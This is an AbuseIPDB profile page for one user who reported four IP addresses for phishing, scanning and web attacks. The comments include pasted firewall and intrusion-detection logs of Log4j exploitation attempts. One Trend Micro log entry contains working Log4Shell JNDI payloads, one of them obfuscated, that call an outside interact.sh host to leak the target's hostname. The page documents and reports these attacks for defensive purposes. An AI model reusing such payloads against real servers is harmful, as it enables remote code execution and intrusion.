User danilo.santos
joined AbuseIPDB in November 2020 and has reported 4 IP
addresses.
Standing (weight) is
good.
INACTIVE USER
| IP |
Date |
Comment |
Categories |
|
🇺🇸
141.11.93.198
|
|
SMTP used for phishing.
|
Phishing
|
|
🇧🇷
187.23.98.205
|
|
IP scanning/exploited company network
|
Port Scan
Exploited Host
Web App Attack
|
|
🇧🇷
200.207.245.19
|
|
03-14 14:45
FG200FT920907193
critical
200.207.245.19
10.12.20.238
dropped
HTTP
Apache.Log4j.E ...
show more
03-14 14:45
FG200FT920907193
critical
200.207.245.19
10.12.20.238
dropped
HTTP
Apache.Log4j.Error.Log.Remote.Code.Execution
2
03-14 14:44
FG200FT920907193
critical
200.207.245.19
10.12.20.238
dropped
HTTP
Apache.Log4j.Error.Log.Remote.Code.Execution
3
03-14 14:44
FG200FT920907193
critical
200.207.245.19
10.12.20.238
dropped
HTTP
Apache.Log4j.Error.Log.Remote.Code.Execution
4
03-14 14:43
FG200FT920907193
critical
200.207.245.19
10.12.20.238
dropped
HTTP
Apache.Log4j.Error.Log.Remote.Code.Execution
5
03-14 14:43
FG200FT920907193
critical
200.207.245.19
10.12.20.82
dropped
HTTP
Apache.Log4j.Error.Log.Remote.Code.Execution
6
03-14 14:42
FG200FT920907193
critical
200.207.245.19
10.12.20.238
dropped
HTTP
Apache.Log4j.Error.Log.Remote.Code.Execution
7
03-14 14:42
FG200FT920907193
critical
200.207.245.19
10.12.20.227
dropped
HTTP
Apache.Log4j.Error.Log.Remote.Code.Execution
show less
|
SQL Injection
Web App Attack
|
|
🇧🇷
179.178.111.2
|
|
<156>Mar 2 13:57:46 dddirector CEF:0|Trend Micro|Deep Discovery Director|5.3.0.1130|4641|CVE-2021-4 ...
show more
<156>Mar 2 13:57:46 dddirector CEF:0|Trend Micro|Deep Discovery Director|5.3.0.1130|4641|CVE-2021-44228 - OGNL EXPLOIT - HTTP(REQUEST)|4|dvc=10.12.20.99 dvcmac=18:66:DA:E8:48:82 dvchost=ddiarr1 deviceExternalId=B1281757366A-4A4DB1DF-9748-0AFC-41E5 rt=1639468499000 app=HTTP deviceDirection=0 dhost=189-56-99-150.customer.tdatabrasil.net.br dst=189.56.99.150 dpt=80 dmac=00:09:0f:09:37:0a shost=179.178.111.2.static.adsl.gvt.net.br src=179.178.111.2 spt=56952 smac=c0:67:af:99:b0:00 cs3Label=HostName_Ext cs3=189.56.99.150 fileType=-65536 fsize=0 requestClientApplication=${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.c6rroj1bb9srs5qt7h4gcghr5woynsqry.interact.sh} act=not blocked cn3Label=Threat Type cn3=3 destinationTranslatedAddress=179.178.111.2 sourceTranslatedAddress=189.56.99.150 cnt=2 cat=Exploit cs6Label=pAttackPhase cs6=Point of Entry flexNumber1Label=vLANId flexNumber1=4095 request=http://189.56.99.150/login?x\\=${jndi:ldap://${hostName}.c6rroj1bb9srs5qt7h4gcghr5woynsqd6.interact
show less
|
Web App Attack
|